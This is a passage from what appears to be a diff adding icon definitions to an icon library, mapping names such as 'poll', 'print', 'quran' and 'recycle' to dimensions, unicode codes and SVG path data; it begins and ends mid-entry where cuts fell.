8.535-6.31-2.382-15.512-4.342-30.946-5.406-44.339-.146-1.836-1.149-3.486-2.678-4.512-47.4-31.806-78.564-86.016-78.187-147.347.592-96.237 79.29-174.648 175.529-174.899C320.793 47.747 400 126.797 400 224c0 61.932-32.158 116.49-80.65 147.867-.999 14.037-3.069 30.588-5.624 47.23-.732 4.767 4.203 8.429 8.535 6.31C395.227 389.727 448 314.187 448 224 448 100.205 347.815 0 224 0zm0 160c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64z"], + "poll": [448, 512, [], "f681", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM160 368c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V240c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v128zm96 0c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V144c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v224zm96 0c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-64c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v64z"], + "poll-h": [448, 512, [], "f682", "M448 432V80c0-26.5-21.5-48-48-48H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48zM112 192c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h128c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16H112zm0 96c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h224c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16H112zm0 96c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-64z"], + "poo": [512, 512, [], "f2fe", "M451.4 369.1C468.7 356 480 335.4 480 312c0-39.8-32.2-72-72-72h-14.1c13.4-11.7 22.1-28.8 22.1-48 0-35.3-28.7-64-64-64h-5.9c3.6-10.1 5.9-20.7 5.9-32 0-53-43-96-96-96-5.2 0-10.2.7-15.1 1.5C250.3 14.6 256 30.6 256 48c0 44.2-35.8 80-80 80h-16c-35.3 0-64 28.7-64 64 0 19.2 8.7 36.3 22.1 48H104c-39.8 0-72 32.2-72 72 0 23.4 11.3 44 28.6 57.1C26.3 374.6 0 404.1 0 440c0 39.8 32.2 72 72 72h368c39.8 0 72-32.2 72-72 0-35.9-26.3-65.4-60.6-70.9zM192 256c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm159.5 139C341 422.9 293 448 256 448s-85-25.1-95.5-53c-2-5.3 2-11 7.8-11h175.4c5.8 0 9.8 5.7 7.8 11zM320 320c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "poo-storm": [448, 512, [], "f75a", "M308 336h-57.7l17.3-64.9c2-7.6-3.7-15.1-11.6-15.1h-68c-6 0-11.1 4.5-11.9 10.4l-16 120c-1 7.2 4.6 13.6 11.9 13.6h59.3l-23 97.2c-1.8 7.6 4 14.8 11.7 14.8 4.2 0 8.2-2.2 10.4-6l88-152c4.6-8-1.2-18-10.4-18zm66.4-111.3c5.9-9.6 9.6-20.6 9.6-32.7 0-35.3-28.7-64-64-64h-5.9c3.6-10.1 5.9-20.7 5.9-32 0-53-43-96-96-96-5.2 0-10.2.7-15.1 1.5C218.3 14.6 224 30.6 224 48c0 44.2-35.8 80-80 80h-16c-35.3 0-64 28.7-64 64 0 12.1 3.7 23.1 9.6 32.7C32.6 228 0 262.2 0 304c0 44 36 80 80 80h48.3c.1-.6 0-1.2 0-1.8l16-120c3-21.8 21.7-38.2 43.7-38.2h68c13.8 0 26.5 6.3 34.9 17.2s11.2 24.8 7.6 38.1l-6.6 24.7h16c15.7 0 30.3 8.4 38.1 22 7.8 13.6 7.8 30.5 0 44l-8.1 14h30c44 0 80-36 80-80 .1-41.8-32.5-76-73.5-79.3z"], + "poop": [512, 512, [], "f619", "M451.36 369.14C468.66 355.99 480 335.41 480 312c0-39.77-32.24-72-72-72h-14.07c13.42-11.73 22.07-28.78 22.07-48 0-35.35-28.65-64-64-64h-5.88c3.57-10.05 5.88-20.72 5.88-32 0-53.02-42.98-96-96-96-5.17 0-10.15.74-15.11 1.52C250.31 14.64 256 30.62 256 48c0 44.18-35.82 80-80 80h-16c-35.35 0-64 28.65-64 64 0 19.22 8.65 36.27 22.07 48H104c-39.76 0-72 32.23-72 72 0 23.41 11.34 43.99 28.64 57.14C26.31 374.62 0 404.12 0 440c0 39.76 32.24 72 72 72h368c39.76 0 72-32.24 72-72 0-35.88-26.31-65.38-60.64-70.86z"], + "portrait": [384, 512, [], "f3e0", "M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM192 128c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H102.4C90 384 80 375.4 80 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z"], + "pound-sign": [320, 512, [], "f154", "M308 352h-45.495c-6.627 0-12 5.373-12 12v50.848H128V288h84c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-84v-63.556c0-32.266 24.562-57.086 61.792-57.086 23.658 0 45.878 11.505 57.652 18.849 5.151 3.213 11.888 2.051 15.688-2.685l28.493-35.513c4.233-5.276 3.279-13.005-2.119-17.081C273.124 54.56 236.576 32 187.931 32 106.026 32 48 84.742 48 157.961V224H20c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h28v128H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h296c6.627 0 12-5.373 12-12V364c0-6.627-5.373-12-12-12z"], + "power-off": [512, 512, [], "f011", "M400 54.1c63 45 104 118.6 104 201.9 0 136.8-110.8 247.7-247.5 248C120 504.3 8.2 393 8 256.4 7.9 173.1 48.9 99.3 111.8 54.2c11.7-8.3 28-4.8 35 7.7L162.6 90c5.9 10.5 3.1 23.8-6.6 31-41.5 30.8-68 79.6-68 134.9-.1 92.3 74.5 168.1 168 168.1 91.6 0 168.6-74.2 168-169.1-.3-51.8-24.7-101.8-68.1-134-9.7-7.2-12.4-20.5-6.5-30.9l15.8-28.1c7-12.4 23.2-16.1 34.8-7.8zM296 264V24c0-13.3-10.7-24-24-24h-32c-13.3 0-24 10.7-24 24v240c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24z"], + "pray": [384, 512, [], "f683", "M256 128c35.35 0 64-28.65 64-64S291.35 0 256 0s-64 28.65-64 64 28.65 64 64 64zm-30.63 169.75c14.06 16.72 39 19.09 55.97 5.22l88-72.02c17.09-13.98 19.59-39.19 5.62-56.28-13.97-17.11-39.19-19.59-56.31-5.62l-57.44 47-38.91-46.31c-15.44-18.39-39.22-27.92-64-25.33-24.19 2.48-45.25 16.27-56.37 36.92l-49.37 92.03c-23.4 43.64-8.69 96.37 34.19 123.75L131.56 432H40c-22.09 0-40 17.91-40 40s17.91 40 40 40h208c34.08 0 53.77-42.79 28.28-68.28L166.42 333.86l34.8-64.87 24.15 28.76z"], + "praying-hands": [640, 512, [], "f684", "M272 191.91c-17.6 0-32 14.4-32 32v80c0 8.84-7.16 16-16 16s-16-7.16-16-16v-76.55c0-17.39 4.72-34.47 13.69-49.39l77.75-129.59c9.09-15.16 4.19-34.81-10.97-43.91-14.45-8.67-32.72-4.3-42.3 9.21-.2.23-.62.21-.79.48l-117.26 175.9C117.56 205.9 112 224.31 112 243.29v80.23l-90.12 30.04A31.974 31.974 0 0 0 0 383.91v96c0 10.82 8.52 32 32 32 2.69 0 5.41-.34 8.06-1.03l179.19-46.62C269.16 449.99 304 403.8 304 351.91v-128c0-17.6-14.4-32-32-32zm346.12 161.73L528 323.6v-80.23c0-18.98-5.56-37.39-16.12-53.23L394.62 14.25c-.18-.27-.59-.24-.79-.48-9.58-13.51-27.85-17.88-42.3-9.21-15.16 9.09-20.06 28.75-10.97 43.91l77.75 129.59c8.97 14.92 13.69 32 13.69 49.39V304c0 8.84-7.16 16-16 16s-16-7.16-16-16v-80c0-17.6-14.4-32-32-32s-32 14.4-32 32v128c0 51.89 34.84 98.08 84.75 112.34l179.19 46.62c2.66.69 5.38 1.03 8.06 1.03 23.48 0 32-21.18 32-32v-96c0-13.77-8.81-25.99-21.88-30.35z"], + "prescription": [384, 512, [], "f5b1", "M301.26 352l78.06-78.06c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0L256 306.74l-83.96-83.96C219.31 216.8 256 176.89 256 128c0-53.02-42.98-96-96-96H16C7.16 32 0 39.16 0 48v256c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-80h18.75l128 128-78.06 78.06c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0L256 397.25l78.06 78.06c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63L301.26 352zM64 96h96c17.64 0 32 14.36 32 32s-14.36 32-32 32H64V96z"], + "prescription-bottle": [384, 512, [], "f485", "M32 192h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64c0 17.6 14.4 32 32 32h256c17.6 0 32-14.4 32-32V128H32v64zM360 0H24C10.8 0 0 10.8 0 24v48c0 13.2 10.8 24 24 24h336c13.2 0 24-10.8 24-24V24c0-13.2-10.8-24-24-24z"], + "prescription-bottle-alt": [384, 512, [], "f486", "M360 0H24C10.8 0 0 10.8 0 24v48c0 13.2 10.8 24 24 24h336c13.2 0 24-10.8 24-24V24c0-13.2-10.8-24-24-24zM32 480c0 17.6 14.4 32 32 32h256c17.6 0 32-14.4 32-32V128H32v352zm64-184c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48z"], + "print": [512, 512, [], "f02f", "M448 192V77.25c0-8.49-3.37-16.62-9.37-22.63L393.37 9.37c-6-6-14.14-9.37-22.63-9.37H96C78.33 0 64 14.33 64 32v160c-35.35 0-64 28.65-64 64v112c0 8.84 7.16 16 16 16h48v96c0 17.67 14.33 32 32 32h320c17.67 0 32-14.33 32-32v-96h48c8.84 0 16-7.16 16-16V256c0-35.35-28.65-64-64-64zm-64 256H128v-96h256v96zm0-224H128V64h192v48c0 8.84 7.16 16 16 16h48v96zm48 72c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z"], + "procedures": [640, 512, [], "f487", "M528 224H272c-8.8 0-16 7.2-16 16v144H64V144c0-8.8-7.2-16-16-16H16c-8.8 0-16 7.2-16 16v352c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-48h512v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V336c0-61.9-50.1-112-112-112zM136 96h126.1l27.6 55.2c5.9 11.8 22.7 11.8 28.6 0L368 51.8 390.1 96H512c8.8 0 16-7.2 16-16s-7.2-16-16-16H409.9L382.3 8.8C376.4-3 359.6-3 353.7 8.8L304 108.2l-19.9-39.8c-1.4-2.7-4.1-4.4-7.2-4.4H136c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm24 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64z"], + "project-diagram": [640, 512, [], "f542", "M384 320H256c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h128c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32zM192 32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v128c0 17.67 14.33 32 32 32h95.72l73.16 128.04C211.98 300.98 232.4 288 256 288h.28L192 175.51V128h224V64H192V32zM608 0H480c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h128c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32z"], + "pump-medical": [384, 512, [], "e06a", "M235.51,159.82H84.24A64,64,0,0,0,20.51,218L.14,442a64,64,0,0,0,63.74,69.8h192A64,64,0,0,0,319.61,442L299.24,218A64,64,0,0,0,235.51,159.82Zm4.37,173.33a13.35,13.35,0,0,1-13.34,13.34h-40v40a13.33,13.33,0,0,1-13.33,13.33H146.54a13.33,13.33,0,0,1-13.33-13.33v-40h-40a13.34,13.34,0,0,1-13.33-13.34V306.49a13.33,13.33,0,0,1,13.33-13.34h40v-40a13.33,13.33,0,0,1,13.33-13.33h26.67a13.33,13.33,0,0,1,13.33,13.33v40h40a13.34,13.34,0,0,1,13.34,13.34ZM379.19,93.88,335.87,50.56a64,64,0,0,0-45.24-18.74H223.88a32,32,0,0,0-32-32h-64a32,32,0,0,0-32,32v96h128v-32h66.75l43.31,43.31a16,16,0,0,0,22.63,0l22.62-22.62A16,16,0,0,0,379.19,93.88Z"], + "pump-soap": [384, 512, [], "e06b", "M235.63,160H84.37a64,64,0,0,0-63.74,58.21L.27,442.21A64,64,0,0,0,64,512H256a64,64,0,0,0,63.74-69.79l-20.36-224A64,64,0,0,0,235.63,160ZM160,416c-33.12,0-60-26.33-60-58.75,0-25,35.7-75.47,52-97.27A10,10,0,0,1,168,260c16.33,21.8,52,72.27,52,97.27C220,389.67,193.12,416,160,416ZM379.31,94.06,336,50.74A64,64,0,0,0,290.75,32H224A32,32,0,0,0,192,0H128A32,32,0,0,0,96,32v96H224V96h66.75l43.31,43.31a16,16,0,0,0,22.63,0l22.62-22.62A16,16,0,0,0,379.31,94.06Z"], + "puzzle-piece": [576, 512, [], "f12e", "M519.442 288.651c-41.519 0-59.5 31.593-82.058 31.593C377.409 320.244 432 144 432 144s-196.288 80-196.288-3.297c0-35.827 36.288-46.25 36.288-85.985C272 19.216 243.885 0 210.539 0c-34.654 0-66.366 18.891-66.366 56.346 0 41.364 31.711 59.277 31.711 81.75C175.885 207.719 0 166.758 0 166.758v333.237s178.635 41.047 178.635-28.662c0-22.473-40-40.107-40-81.471 0-37.456 29.25-56.346 63.577-56.346 33.673 0 61.788 19.216 61.788 54.717 0 39.735-36.288 50.158-36.288 85.985 0 60.803 129.675 25.73 181.23 25.73 0 0-34.725-120.101 25.827-120.101 35.962 0 46.423 36.152 86.308 36.152C556.712 416 576 387.99 576 354.443c0-34.199-18.962-65.792-56.558-65.792z"], + "qrcode": [448, 512, [], "f029", "M0 224h192V32H0v192zM64 96h64v64H64V96zm192-64v192h192V32H256zm128 128h-64V96h64v64zM0 480h192V288H0v192zm64-128h64v64H64v-64zm352-64h32v128h-96v-32h-32v96h-64V288h96v32h64v-32zm0 160h32v32h-32v-32zm-64 0h32v32h-32v-32z"], + "question": [384, 512, [], "f128", "M202.021 0C122.202 0 70.503 32.703 29.914 91.026c-7.363 10.58-5.093 25.086 5.178 32.874l43.138 32.709c10.373 7.865 25.132 6.026 33.253-4.148 25.049-31.381 43.63-49.449 82.757-49.449 30.764 0 68.816 19.799 68.816 49.631 0 22.552-18.617 34.134-48.993 51.164-35.423 19.86-82.299 44.576-82.299 106.405V320c0 13.255 10.745 24 24 24h72.471c13.255 0 24-10.745 24-24v-5.773c0-42.86 125.268-44.645 125.268-160.627C377.504 66.256 286.902 0 202.021 0zM192 373.459c-38.196 0-69.271 31.075-69.271 69.271 0 38.195 31.075 69.27 69.271 69.27s69.271-31.075 69.271-69.271-31.075-69.27-69.271-69.27z"], + "question-circle": [512, 512, [], "f059", "M504 256c0 136.997-111.043 248-248 248S8 392.997 8 256C8 119.083 119.043 8 256 8s248 111.083 248 248zM262.655 90c-54.497 0-89.255 22.957-116.549 63.758-3.536 5.286-2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12v-1.333c0-28.462 83.186-29.647 83.186-106.667 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z"], + "quidditch": [640, 512, [], "f458", "M256.5 216.8L343.2 326s-16.6 102.4-76.6 150.1C206.7 523.8 0 510.2 0 510.2s3.8-23.1 11-55.4l94.6-112.2c4-4.7-.9-11.6-6.6-9.5l-60.4 22.1c14.4-41.7 32.7-80 54.6-97.5 59.9-47.8 163.3-40.9 163.3-40.9zm238 135c-44 0-79.8 35.8-79.8 79.9 0 44.1 35.7 79.9 79.8 79.9 44.1 0 79.8-35.8 79.8-79.9 0-44.2-35.8-79.9-79.8-79.9zM636.5 31L616.7 6c-5.5-6.9-15.5-8-22.4-2.6L361.8 181.3l-34.1-43c-5.1-6.4-15.1-5.2-18.6 2.2l-25.3 54.6 86.7 109.2 58.8-12.4c8-1.7 11.4-11.2 6.3-17.6l-34.1-42.9L634 53.5c6.9-5.5 8-15.6 2.5-22.5z"], + "quote-left": [512, 512, [], "f10d", "M464 256h-80v-64c0-35.3 28.7-64 64-64h8c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24h-8c-88.4 0-160 71.6-160 160v240c0 26.5 21.5 48 48 48h128c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48zm-288 0H96v-64c0-35.3 28.7-64 64-64h8c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24h-8C71.6 32 0 103.6 0 192v240c0 26.5 21.5 48 48 48h128c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48z"], + "quote-right": [512, 512, [], "f10e", "M464 32H336c-26.5 0-48 21.5-48 48v128c0 26.5 21.5 48 48 48h80v64c0 35.3-28.7 64-64 64h-8c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h8c88.4 0 160-71.6 160-160V80c0-26.5-21.5-48-48-48zm-288 0H48C21.5 32 0 53.5 0 80v128c0 26.5 21.5 48 48 48h80v64c0 35.3-28.7 64-64 64h-8c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h8c88.4 0 160-71.6 160-160V80c0-26.5-21.5-48-48-48z"], + "quran": [448, 512, [], "f687", "M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM301.08 145.82c.6-1.21 1.76-1.82 2.92-1.82s2.32.61 2.92 1.82l11.18 22.65 25 3.63c2.67.39 3.74 3.67 1.81 5.56l-18.09 17.63 4.27 24.89c.36 2.11-1.31 3.82-3.21 3.82-.5 0-1.02-.12-1.52-.38L304 211.87l-22.36 11.75c-.5.26-1.02.38-1.52.38-1.9 0-3.57-1.71-3.21-3.82l4.27-24.89-18.09-17.63c-1.94-1.89-.87-5.17 1.81-5.56l24.99-3.63 11.19-22.65zm-57.89-69.01c13.67 0 27.26 2.49 40.38 7.41a6.775 6.775 0 1 1-2.38 13.12c-.67 0-3.09-.21-4.13-.21-52.31 0-94.86 42.55-94.86 94.86 0 52.3 42.55 94.86 94.86 94.86 1.03 0 3.48-.21 4.13-.21 3.93 0 6.8 3.14 6.8 6.78 0 2.98-1.94 5.51-4.62 6.42-13.07 4.87-26.59 7.34-40.19 7.34C179.67 307.19 128 255.51 128 192c0-63.52 51.67-115.19 115.19-115.19zM380.8 448H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8v64z"], + "radiation": [496, 512, [], "f7b9", "M328.2 255.8h151.6c9.1 0 16.8-7.7 16.2-16.8-5.1-75.8-44.4-142.2-102.5-184.2-7.4-5.3-17.9-2.9-22.7 4.8L290.4 188c22.6 14.3 37.8 39.2 37.8 67.8zm-37.8 67.7c-12.3 7.7-26.8 12.4-42.4 12.4-15.6 0-30-4.7-42.4-12.4L125.2 452c-4.8 7.7-2.4 18.1 5.6 22.4C165.7 493.2 205.6 504 248 504s82.3-10.8 117.2-29.6c8-4.3 10.4-14.8 5.6-22.4l-80.4-128.5zM248 303.8c26.5 0 48-21.5 48-48s-21.5-48-48-48-48 21.5-48 48 21.5 48 48 48zm-231.8-48h151.6c0-28.6 15.2-53.5 37.8-67.7L125.2 59.7c-4.8-7.7-15.3-10.2-22.7-4.8C44.4 96.9 5.1 163.3 0 239.1c-.6 9 7.1 16.7 16.2 16.7z"], + "radiation-alt": [496, 512, [], "f7ba", "M312 256h79.1c9.2 0 16.9-7.7 16-16.8-4.6-43.6-27-81.8-59.5-107.8-7.6-6.1-18.8-4.5-24 3.8L281.9 202c18 11.2 30.1 31.2 30.1 54zm-97.8 54.1L172.4 377c-4.9 7.8-2.4 18.4 5.8 22.5 21.1 10.4 44.7 16.5 69.8 16.5s48.7-6.1 69.9-16.5c8.2-4.1 10.6-14.7 5.8-22.5l-41.8-66.9c-9.8 6.2-21.4 9.9-33.8 9.9s-24.1-3.7-33.9-9.9zM104.9 256H184c0-22.8 12.1-42.8 30.2-54.1l-41.7-66.8c-5.2-8.3-16.4-9.9-24-3.8-32.6 26-54.9 64.2-59.5 107.8-1.1 9.2 6.7 16.9 15.9 16.9zM248 504c137 0 248-111 248-248S385 8 248 8 0 119 0 256s111 248 248 248zm0-432c101.5 0 184 82.5 184 184s-82.5 184-184 184S64 357.5 64 256 146.5 72 248 72zm0 216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z"], + "rainbow": [576, 512, [], "f75b", "M268.3 32.7C115.4 42.9 0 176.9 0 330.2V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320C64 186.8 180.9 80.3 317.5 97.9 430.4 112.4 512 214 512 327.8V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-165.3-140-298.6-307.7-287.3zm-5.6 96.9C166 142 96 229.1 96 326.7V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-74.8 64.5-134.8 140.8-127.4 66.5 6.5 115.2 66.2 115.2 133.1V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-114.2-100.2-205.4-217.3-190.4zm6.2 96.3c-45.6 8.9-76.9 51.5-76.9 97.9V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-17.6 14.3-32 32-32s32 14.4 32 32v144c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-59.2-53.8-106-115.1-94.1z"], + "random": [512, 512, [], "f074", "M504.971 359.029c9.373 9.373 9.373 24.569 0 33.941l-80 79.984c-15.01 15.01-40.971 4.49-40.971-16.971V416h-58.785a12.004 12.004 0 0 1-8.773-3.812l-70.556-75.596 53.333-57.143L352 336h32v-39.981c0-21.438 25.943-31.998 40.971-16.971l80 79.981zM12 176h84l52.781 56.551 53.333-57.143-70.556-75.596A11.999 11.999 0 0 0 122.785 96H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12zm372 0v39.984c0 21.46 25.961 31.98 40.971 16.971l80-79.984c9.373-9.373 9.373-24.569 0-33.941l-80-79.981C409.943 24.021 384 34.582 384 56.019V96h-58.785a12.004 12.004 0 0 0-8.773 3.812L96 336H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12h110.785c3.326 0 6.503-1.381 8.773-3.812L352 176h32z"], + "receipt": [384, 512, [], "f543", "M358.4 3.2L320 48 265.6 3.2a15.9 15.9 0 0 0-19.2 0L192 48 137.6 3.2a15.9 15.9 0 0 0-19.2 0L64 48 25.6 3.2C15-4.7 0 2.8 0 16v480c0 13.2 15 20.7 25.6 12.8L64 464l54.4 44.8a15.9 15.9 0 0 0 19.2 0L192 464l54.4 44.8a15.9 15.9 0 0 0 19.2 0L320 464l38.4 44.8c10.5 7.9 25.6.4 25.6-12.8V16c0-13.2-15-20.7-25.6-12.8zM320 360c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16z"], + "record-vinyl": [512, 512, [], "f8d9", "M256 152a104 104 0 1 0 104 104 104 104 0 0 0-104-104zm0 128a24 24 0 1 1 24-24 24 24 0 0 1-24 24zm0-272C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 376a128 128 0 1 1 128-128 128 128 0 0 1-128 128z"], + "recycle": [512, 512, [], "f1b8", "M184.561 261.903c3.232 13.997-12.123 24.635-24.068 17.168l-40.736-25.455-50.867 81.402C55.606 356.273 70.96 384 96.012 384H148c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12H96.115c-75.334 0-121.302-83.048-81.408-146.88l50.822-81.388-40.725-25.448c-12.081-7.547-8.966-25.961 4.879-29.158l110.237-25.45c8.611-1.988 17.201 3.381 19.189 11.99l25.452 110.237zm98.561-182.915l41.289 66.076-40.74 25.457c-12.051 7.528-9 25.953 4.879 29.158l110.237 25.45c8.672 1.999 17.215-3.438 19.189-11.99l25.45-110.237c3.197-13.844-11.99-24.719-24.068-17.168l-40.687 25.424-41.263-66.082c-37.521-60.033-125.209-60.171-162.816 0l-17.963 28.766c-3.51 5.62-1.8 13.021 3.82 16.533l33.919 21.195c5.62 3.512 13.024 1.803 16.536-3.817l17.961-28.743c12.712-20.341 41.973-19.676 54.257-.022zM497.288 301.12l-27.515-44.065c-3.511-5.623-10.916-7.334-16.538-3.821l-33.861 21.159c-5.62 3.512-7.33 10.915-3.818 16.536l27.564 44.112c13.257 21.211-2.057 48.96-27.136 48.96H320V336.02c0-14.213-17.242-21.383-27.313-11.313l-80 79.981c-6.249 6.248-6.249 16.379 0 22.627l80 79.989C302.689 517.308 320 510.3 320 495.989V448h95.88c75.274 0 121.335-82.997 81.408-146.88z"], + "redo": [512, 512, [], "f01e", "M500.33 0h-47.41a12 12 0 0 0-12 12.57l4 82.76A247.42 247.42 0 0 0 256 8C119.34 8 7.9 119.53 8 256.19 8.1 393.07 119.1 504 256 504a247.1 247.1 0 0 0 166.18-63.91 12 12 0 0 0 .48-17.43l-34-34a12 12 0 0 0-16.38-.55A176 176 0 1 1 402.1 157.8l-101.53-4.87a12 12 0 0 0-12.57 12v47.41a12 12 0 0 0 12 12h200.33a12 12 0 0 0 12-12V12a12 12 0 0 0-12-12z"], + "redo-alt": [512, 512, [], "f2f9", "M256.455 8c66.269.119 126.437 26.233 170.859 68.685l35.715-35.715C478.149 25.851 504 36.559 504 57.941V192c0 13.255-10.745 24-24 24H345.941c-21.382 0-32.09-25.851-16.971-40.971l41.75-41.75c-30.864-28.899-70.801-44.907-113.23-45.273-92.398-.798-170.283 73.977-169.484 169.442C88.764 348.009 162.184 424 256 424c41.127 0 79.997-14.678 110.629-41.556 4.743-4.161 11.906-3.908 16.368.553l39.662 39.662c4.872 4.872 4.631 12.815-.482 17.433C378.202 479.813 319.926 504 256 504 119.034 504 8.001 392.967 8 256.002 7.999 119.193 119.646 7.755 256.455 8z"], + "registered": [512, 512, [], "f25d", "M285.363 207.475c0 18.6-9.831 28.431-28.431 28.431h-29.876v-56.14h23.378c28.668 0 34.929 8.773 34.929 27.709zM504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zM363.411 360.414c-46.729-84.825-43.299-78.636-44.702-80.98 23.432-15.172 37.945-42.979 37.945-74.486 0-54.244-31.5-89.252-105.498-89.252h-70.667c-13.255 0-24 10.745-24 24V372c0 13.255 10.745 24 24 24h22.567c13.255 0 24-10.745 24-24v-71.663h25.556l44.129 82.937a24.001 24.001 0 0 0 21.188 12.727h24.464c18.261-.001 29.829-19.591 21.018-35.587z"], + "remove-format": [640, 512, [], "f87d", "M336 416h-11.17l9.26-27.77L267 336.4 240.49 416H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm297.82 42.1L377 259.59 426.17 112H544v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16H176a16 16 0 0 0-16 16v43.9L45.46 3.38A16 16 0 0 0 23 6.19L3.37 31.46a16 16 0 0 0 2.81 22.45l588.36 454.72a16 16 0 0 0 22.46-2.81l19.64-25.27a16 16 0 0 0-2.82-22.45zM309.91 207.76L224 141.36V112h117.83z"], + "reply": [512, 512, [], "f3e5", "M8.309 189.836L184.313 37.851C199.719 24.546 224 35.347 224 56.015v80.053c160.629 1.839 288 34.032 288 186.258 0 61.441-39.581 122.309-83.333 154.132-13.653 9.931-33.111-2.533-28.077-18.631 